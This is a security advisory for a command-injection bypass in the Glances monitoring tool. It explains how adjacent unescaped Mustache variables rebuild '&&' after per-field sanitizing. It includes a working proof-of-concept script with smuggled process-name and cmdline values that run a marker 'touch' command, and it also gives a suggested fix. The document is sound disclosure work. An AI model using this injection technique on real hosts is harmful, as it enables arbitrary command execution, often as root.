PYSEC-2026-3668

Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16
VLAI
Details

Summary

The Glances action system lets an administrator configure shell commands that run when a monitoring threshold is crossed. The command is a Mustache template whose variables are filled with runtime stat fields such as a process name, a container name or a filesystem mount point. Those fields are attacker-influenceable: a local, unprivileged user who starts a process (or a container) controls its name and command line. The rendered command is executed by secure_popen(), which interprets &&, | and > as chaining / pipe / redirection operators.

glances/actions.py defends against this with _sanitize_mustache_dict(), which strips those operators from each individual template value before rendering. The sanitization is applied per field, but the operators are reconstructed across the boundary of two adjacent template variables after Mustache rendering. When an action template concatenates two unescaped variables ({{{a}}}{{{b}}} or {{&a}}{{&b}}) and the attacker makes the first value end with & and the second begin with &, the rendered command contains a real &&, and secure_popen() executes the injected command. The single-& in each value passes the per-field filter untouched.

Affected versions

glances <= 4.5.5 (verified against the published PyPI release 4.5.5, the latest at the time of writing; glances.__version__ == "4.5.5"). The per-field sanitizer _sanitize_mustache_dict() is present and active in this release. Not patched in any released version.

Privilege required

Two roles are involved:

  • A local, unprivileged user (or a container the attacker can name) supplies the attacker-controlled stat values (process/container name, mount point, etc.). This is the same trust boundary the action-template command-injection class already recognises: the attacker controls the process name, not the configuration.
  • An administrator has configured an action whose command template concatenates two unescaped Mustache variables with no separating character ({{{name}}}{{{cmdline}}}). Unescaped Mustache ({{{ }}} / {{& }}) is a documented Chevron feature and is the natural choice when the operator wants a value that contains shell-significant characters to reach the command verbatim.

No network access to the target host is required beyond the ability to run a process (or start a named container) on it.

Vulnerable code (file:line)

glances/actions.py:25-46 — the per-field sanitizer:

# glances/actions.py:25
_SHELL_OPERATORS = ('&&', '|', '>>', '>')

def _sanitize_mustache_dict(mustache_dict):
    """Return a copy of mustache_dict with shell operators replaced by spaces."""
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            for op in _SHELL_OPERATORS:
                v = v.replace(op, ' ')          # per-field only
            safe[k] = v
        else:
            safe[k] = v
    return safe

glances/actions.py:100-111 — sanitize-then-render-then-execute:

# glances/actions.py:100
for cmd in commands:
    if chevron_tag:
        safe_dict = _sanitize_mustache_dict(mustache_dict)
        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here
    else:
        cmd_full = cmd
    ret = secure_popen(cmd_full)                    # operators interpreted

Root cause

_sanitize_mustache_dict() removes &&, |, >>, > from each value in isolation. It does not remove a lone &, because a single & is not one of the listed operators. When two values are rendered next to each other by chevron.render(), a trailing & from the first value and a leading & from the second value join into a literal && in cmd_full. secure_popen() then cmd.split('&&') and runs the second half as a separate subprocess.Popen (shell=False) process. The same reconstruction works for > written as two adjacent > characters split across the boundary (...> + >... and the >>/> stripping is per field), and the sanitizer's own choice to sanitize before, rather than after, rendering is the defect.

This is an incomplete fix of the action-template command-injection issue (CVE-2026-32608 / GHSA-vcv2-q258-wrg7): _sanitize_mustache_dict() closes the single-field case but not the cross-field-reconstruction case. The correct place to enforce the operator ban is on the fully rendered command string (or by never letting template-variable data introduce operators), not on the pre-render values one at a time.

Chevron HTML-escapes &, <, >, " inside standard double-brace {{ }} sections, so double-brace templates neutralise the && reconstruction. The reconstruction is reachable specifically through unescaped variables ({{{ }}} / {{& }}), which is why the per-field sanitizer is the sole remaining control on that path.

Reachability / How input reaches sink

  1. A local unprivileged user starts a process (or a container) whose name ends with & and whose cmdline begins with & <command> (both are stored verbatim in the plugin stat item).
  2. When the plugin crosses a warning / critical threshold, glances/plugins/plugin/model.py calls self.actions.run with the full stat item passed as the mustache_dict argument.
  3. GlancesActions.run sanitizes each value with _sanitize_mustache_dict() (each keeps its single &), then chevron.render() concatenates the two adjacent unescaped variables, producing a literal && in the command string.
  4. secure_popen(cmd_full) splits on && and runs the attacker's segment as a separate subprocess.Popen(shell=False) process.

The trust boundary crossed is process-name / container-name → shell operator, exactly the boundary the sanitizer was introduced to close.

Reproduction (end-to-end, against pinned version glances==4.5.5)

# 1. Install the latest published release into a clean venv
python3.13 -m venv gv
./gv/bin/pip install "glances==4.5.5"

# 2. Run the reproducer, which drives the real
#    glances.actions.GlancesActions.run() pipeline exactly as
#    glances/plugins/plugin/model.py invokes it on an alert.
./gv/bin/python repro.py

repro.py:

import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions

MARK = "/tmp/glances_crossfield_pwned"
NEG  = MARK + "_neg"
for f in (MARK, NEG):
    try: os.remove(f)
    except FileNotFoundError: pass

class Args:
    time = 0
ga = GlancesActions(args=Args())

# A processlist stat item; a local low-privilege user controls both 'name' and
# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).
# 'name' ends with '&', 'cmdline' begins with '&'  ->  '&&' forms across the boundary.
item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,
        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}

# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are
# neutralised by chevron HTML-escaping '&' -> '&amp;'.
neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item)
time.sleep(0.3)
print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):",
      "INJECTED" if os.path.exists(NEG) else "blocked (expected)")

# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field
# _sanitize_mustache_dict leaves each single '&'; the '&&' operator is
# reconstructed after chevron.render, then split by secure_popen.
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item)
time.sleep(0.5)
print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):",
      "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")

Captured output (glances 4.5.5, Python 3.13, x86_64 Linux):

NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)
POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed

The negative control confirms that the same attacker values under a standard double-brace template are blocked (chevron escapes &). The positive case shows the injected touch executing when the template uses two adjacent unescaped variables: the file /tmp/glances_crossfield_pwned is created by the injected command, not by the intended logger action.

Impact

  • Arbitrary command execution as the OS user running Glances (frequently root on monitored hosts) whenever an operator uses an unescaped, adjacent-variable action template and an attacker controls two neighbouring stat fields.
  • The same reconstruction reaches secure_popen()'s file-redirection (>) and pipe (|) handling, allowing arbitrary file write and output piping in addition to command chaining.
  • The bypass defeats the dedicated _sanitize_mustache_dict() control that was added specifically to stop attacker-controlled stat values from injecting shell operators.

Suggested fix

Enforce the operator ban on the rendered command string that comes from template-variable expansion, rather than on the pre-render values in isolation. One approach that mirrors the existing helper: render each variable, then reject / neutralise operators in the concatenated result, or strip lone &/redirection characters that originate from variable data.

def _sanitize_mustache_dict(mustache_dict):
    if not mustache_dict:
        return mustache_dict
    safe = {}
    for k, v in mustache_dict.items():
        if isinstance(v, str):
            # Neutralise every shell-significant character that secure_popen
            # can interpret, including a lone '&' that could pair with an
            # adjacent variable to reconstruct '&&'.
            for ch in ('&', '|', '>', '<'):
                v = v.replace(ch, ' ')
            safe[k] = v
        else:
            safe[k] = v
    return safe

Neutralising the single & (and the single > / |) in each value removes the cross-field reconstruction because no operator character survives on either side of a variable boundary. Alternatively, sanitize cmd_full after chevron.render(), or pass the template-derived data as secure_popen(..., allow_operators=False) when the command originates from stat-field substitution.

Credit

Reported by tonghuaroot.

Severity
8.8 (High)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Impacted products
Name purl
glances pkg:pypi/glances
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances",
        "purl": "pkg:pypi/glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3.4",
        "1.3.5",
        "1.3.6",
        "1.3.7",
        "1.4",
        "1.4.1",
        "1.4.1.1",
        "1.4.2",
        "1.4.2.1",
        "1.5",
        "1.5.1",
        "1.5.2",
        "1.6",
        "1.6.1",
        "1.7",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "2.0",
        "2.0.1",
        "2.1",
        "2.1.1",
        "2.1.2",
        "2.10",
        "2.11",
        "2.11.1",
        "2.2",
        "2.2.1",
        "2.3",
        "2.4",
        "2.4.1",
        "2.4.2",
        "2.5",
        "2.5.1",
        "2.6",
        "2.6.1",
        "2.6.2",
        "2.7",
        "2.7.1",
        "2.8",
        "2.8.1",
        "2.8.2",
        "2.8.3",
        "2.8.4",
        "2.8.5",
        "2.8.6",
        "2.8.7",
        "2.8.8",
        "2.9.0",
        "2.9.1",
        "3.0",
        "3.0.1",
        "3.0.2",
        "3.1.0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.1.4.1",
        "3.1.5",
        "3.1.6",
        "3.1.6.1",
        "3.1.6.2",
        "3.1.7",
        "3.2.0",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.3.1",
        "3.2.4",
        "3.2.4.1",
        "3.2.4.2",
        "3.2.5",
        "3.2.6.1",
        "3.2.6.2",
        "3.2.6.3",
        "3.2.6.4",
        "3.2.7",
        "3.3.0",
        "3.3.0.1",
        "3.3.0.2",
        "3.3.0.3",
        "3.3.0.4",
        "3.3.1",
        "3.3.1.1",
        "3.4.0",
        "3.4.0.1",
        "3.4.0.2",
        "3.4.0.3",
        "3.4.0.4",
        "3.4.0.5",
        "4.0.1",
        "4.0.2",
        "4.0.3",
        "4.0.4",
        "4.0.5",
        "4.0.6",
        "4.0.7",
        "4.0.8",
        "4.1.0",
        "4.1.1",
        "4.1.2",
        "4.2.0",
        "4.2.1",
        "4.3.0",
        "4.3.0.1",
        "4.3.0.3",
        "4.3.0.4",
        "4.3.0.5",
        "4.3.0.6",
        "4.3.0.7",
        "4.3.0.8",
        "4.3.1",
        "4.3.2",
        "4.3.3",
        "4.4.0",
        "4.4.1",
        "4.5.0",
        "4.5.0.1",
        "4.5.0.2",
        "4.5.0.3",
        "4.5.0.4",
        "4.5.0.5",
        "4.5.1",
        "4.5.2",
        "4.5.3",
        "4.5.4",
        "4.5.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68518",
    "GHSA-qcpp-8x79-hhp3"
  ],
  "details": "### Summary\n\nThe Glances action system lets an administrator configure shell commands that run\nwhen a monitoring threshold is crossed. The command is a Mustache template whose\nvariables are filled with runtime stat fields such as a process name, a container\nname or a filesystem mount point. Those fields are attacker-influenceable: a\nlocal, unprivileged user who starts a process (or a container) controls its name\nand command line. The rendered command is executed by `secure_popen()`, which\ninterprets `\u0026\u0026`, `|` and `\u003e` as chaining / pipe / redirection operators.\n\n`glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which\nstrips those operators from **each individual** template value before rendering.\nThe sanitization is applied per field, but the operators are reconstructed\n**across the boundary of two adjacent template variables** after Mustache\nrendering. When an action template concatenates two unescaped variables\n(`{{{a}}}{{{b}}}` or `{{\u0026a}}{{\u0026b}}`) and the attacker makes the first value end\nwith `\u0026` and the second begin with `\u0026`, the rendered command contains a real\n`\u0026\u0026`, and `secure_popen()` executes the injected command. The single-`\u0026` in each\nvalue passes the per-field filter untouched.\n\n### Affected versions\n\n`glances` `\u003c= 4.5.5` (verified against the published PyPI release `4.5.5`, the\nlatest at the time of writing; `glances.__version__ == \"4.5.5\"`). The\nper-field sanitizer `_sanitize_mustache_dict()` is present and active in this\nrelease. Not patched in any released version.\n\n### Privilege required\n\nTwo roles are involved:\n\n- A local, unprivileged user (or a container the attacker can name) supplies the\n  attacker-controlled stat values (process/container name, mount point, etc.).\n  This is the same trust boundary the action-template command-injection class\n  already recognises: the attacker controls the process name, not the\n  configuration.\n- An administrator has configured an action whose command template concatenates\n  two **unescaped** Mustache variables with no separating character\n  (`{{{name}}}{{{cmdline}}}`). Unescaped Mustache (`{{{ }}}` / `{{\u0026 }}`) is a\n  documented Chevron feature and is the natural choice when the operator wants a\n  value that contains shell-significant characters to reach the command verbatim.\n\nNo network access to the target host is required beyond the ability to run a\nprocess (or start a named container) on it.\n\n### Vulnerable code (file:line)\n\n`glances/actions.py:25-46` \u2014 the per-field sanitizer:\n\n```python\n# glances/actions.py:25\n_SHELL_OPERATORS = (\u0027\u0026\u0026\u0027, \u0027|\u0027, \u0027\u003e\u003e\u0027, \u0027\u003e\u0027)\n\ndef _sanitize_mustache_dict(mustache_dict):\n    \"\"\"Return a copy of mustache_dict with shell operators replaced by spaces.\"\"\"\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            for op in _SHELL_OPERATORS:\n                v = v.replace(op, \u0027 \u0027)          # per-field only\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\n`glances/actions.py:100-111` \u2014 sanitize-then-render-then-execute:\n\n```python\n# glances/actions.py:100\nfor cmd in commands:\n    if chevron_tag:\n        safe_dict = _sanitize_mustache_dict(mustache_dict)\n        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here\n    else:\n        cmd_full = cmd\n    ret = secure_popen(cmd_full)                    # operators interpreted\n```\n\n### Root cause\n\n`_sanitize_mustache_dict()` removes `\u0026\u0026`, `|`, `\u003e\u003e`, `\u003e` from each value in\nisolation. It does not remove a lone `\u0026`, because a single `\u0026` is not one of the\nlisted operators. When two values are rendered next to each other by\n`chevron.render()`, a trailing `\u0026` from the first value and a leading `\u0026` from the\nsecond value join into a literal `\u0026\u0026` in `cmd_full`. `secure_popen()` then\n`cmd.split(\u0027\u0026\u0026\u0027)` and runs the second half as a separate `subprocess.Popen`\n(`shell=False`) process. The same reconstruction works for `\u003e` written as two\nadjacent `\u003e` characters split across the boundary (`...\u003e` + `\u003e...` and the\n`\u003e\u003e`/`\u003e` stripping is per field), and the sanitizer\u0027s own choice to sanitize\nbefore, rather than after, rendering is the defect.\n\nThis is an incomplete fix of the action-template command-injection issue\n(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the\nsingle-field case but not the cross-field-reconstruction case. The correct place\nto enforce the operator ban is on the fully rendered command string (or by never\nletting template-variable data introduce operators), not on the pre-render values\none at a time.\n\nChevron HTML-escapes `\u0026`, `\u003c`, `\u003e`, `\"` inside standard double-brace `{{ }}`\nsections, so double-brace templates neutralise the `\u0026\u0026` reconstruction. The\nreconstruction is reachable specifically through **unescaped** variables\n(`{{{ }}}` / `{{\u0026 }}`), which is why the per-field sanitizer is the sole\nremaining control on that path.\n\n### Reachability / How input reaches sink\n\n1. A local unprivileged user starts a process (or a container) whose `name`\n   ends with `\u0026` and whose `cmdline` begins with `\u0026 \u003ccommand\u003e` (both are stored\n   verbatim in the plugin stat item).\n2. When the plugin crosses a `warning` / `critical` threshold,\n   `glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat\n   item passed as the `mustache_dict` argument.\n3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()`\n   (each keeps its single `\u0026`), then `chevron.render()` concatenates the two\n   adjacent unescaped variables, producing a literal `\u0026\u0026` in the command string.\n4. `secure_popen(cmd_full)` splits on `\u0026\u0026` and runs the attacker\u0027s segment as a\n   separate `subprocess.Popen(shell=False)` process.\n\nThe trust boundary crossed is process-name / container-name \u2192 shell operator,\nexactly the boundary the sanitizer was introduced to close.\n\n### Reproduction (end-to-end, against pinned version `glances==4.5.5`)\n\n```bash\n# 1. Install the latest published release into a clean venv\npython3.13 -m venv gv\n./gv/bin/pip install \"glances==4.5.5\"\n\n# 2. Run the reproducer, which drives the real\n#    glances.actions.GlancesActions.run() pipeline exactly as\n#    glances/plugins/plugin/model.py invokes it on an alert.\n./gv/bin/python repro.py\n```\n\n`repro.py`:\n\n```python\nimport os, sys, time\nsys.argv = [\u0027glances\u0027]\nfrom glances.actions import GlancesActions\n\nMARK = \"/tmp/glances_crossfield_pwned\"\nNEG  = MARK + \"_neg\"\nfor f in (MARK, NEG):\n    try: os.remove(f)\n    except FileNotFoundError: pass\n\nclass Args:\n    time = 0\nga = GlancesActions(args=Args())\n\n# A processlist stat item; a local low-privilege user controls both \u0027name\u0027 and\n# \u0027cmdline\u0027 by spawning a process (the established GHSA-vcv2 threat model).\n# \u0027name\u0027 ends with \u0027\u0026\u0027, \u0027cmdline\u0027 begins with \u0027\u0026\u0027  -\u003e  \u0027\u0026\u0026\u0027 forms across the boundary.\nitem = {\u0027name\u0027: \u0027evilproc\u0026\u0027, \u0027cmdline\u0027: \u0027\u0026 touch %s\u0027 % MARK,\n        \u0027pid\u0027: 1337, \u0027cpu_percent\u0027: 99.0, \u0027key\u0027: \u0027pid\u0027}\n\n# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are\n# neutralised by chevron HTML-escaping \u0027\u0026\u0027 -\u003e \u0027\u0026amp;\u0027.\nneg_item = dict(item); neg_item[\u0027cmdline\u0027] = \u0027\u0026 touch %s\u0027 % NEG\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl\", \"CRITICAL\", [\"logger p={{name}}{{cmdline}}\"], repeat=True, mustache_dict=neg_item)\ntime.sleep(0.3)\nprint(\"NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):\",\n      \"INJECTED\" if os.path.exists(NEG) else \"blocked (expected)\")\n\n# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field\n# _sanitize_mustache_dict leaves each single \u0027\u0026\u0027; the \u0027\u0026\u0026\u0027 operator is\n# reconstructed after chevron.render, then split by secure_popen.\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl2\", \"CRITICAL\", [\"logger p={{{name}}}{{{cmdline}}}\"], repeat=True, mustache_dict=item)\ntime.sleep(0.5)\nprint(\"POSITIVE (unescaped {{{name}}}{{{cmdline}}}):\",\n      \"INJECTED - \u0027touch\u0027 executed\" if os.path.exists(MARK) else \"blocked\")\n```\n\nCaptured output (`glances` 4.5.5, Python 3.13, x86_64 Linux):\n\n```\nNEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)\nPOSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - \u0027touch\u0027 executed\n```\n\nThe negative control confirms that the same attacker values under a standard\ndouble-brace template are blocked (chevron escapes `\u0026`). The positive case shows\nthe injected `touch` executing when the template uses two adjacent unescaped\nvariables: the file `/tmp/glances_crossfield_pwned` is created by the injected\ncommand, not by the intended `logger` action.\n\n### Impact\n\n- Arbitrary command execution as the OS user running Glances (frequently root on\n  monitored hosts) whenever an operator uses an unescaped, adjacent-variable\n  action template and an attacker controls two neighbouring stat fields.\n- The same reconstruction reaches `secure_popen()`\u0027s file-redirection (`\u003e`) and\n  pipe (`|`) handling, allowing arbitrary file write and output piping in\n  addition to command chaining.\n- The bypass defeats the dedicated `_sanitize_mustache_dict()` control that was\n  added specifically to stop attacker-controlled stat values from injecting shell\n  operators.\n\n### Suggested fix\n\nEnforce the operator ban on the **rendered** command string that comes from\ntemplate-variable expansion, rather than on the pre-render values in isolation.\nOne approach that mirrors the existing helper: render each variable, then reject /\nneutralise operators in the concatenated result, or strip lone `\u0026`/redirection\ncharacters that originate from variable data.\n\n```python\ndef _sanitize_mustache_dict(mustache_dict):\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            # Neutralise every shell-significant character that secure_popen\n            # can interpret, including a lone \u0027\u0026\u0027 that could pair with an\n            # adjacent variable to reconstruct \u0027\u0026\u0026\u0027.\n            for ch in (\u0027\u0026\u0027, \u0027|\u0027, \u0027\u003e\u0027, \u0027\u003c\u0027):\n                v = v.replace(ch, \u0027 \u0027)\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\nNeutralising the single `\u0026` (and the single `\u003e` / `|`) in each value removes the\ncross-field reconstruction because no operator character survives on either side\nof a variable boundary. Alternatively, sanitize `cmd_full` after\n`chevron.render()`, or pass the template-derived data as `secure_popen(...,\nallow_operators=False)` when the command originates from stat-field substitution.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "PYSEC-2026-3668",
  "modified": "2026-08-19T12:16:25.062749Z",
  "published": "2026-08-19T11:56:26.704895Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-qcpp-8x79-hhp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/9c280eae5419da680827024b60f6265956e31994"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/glances"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-qcpp-8x79-hhp3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68518"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.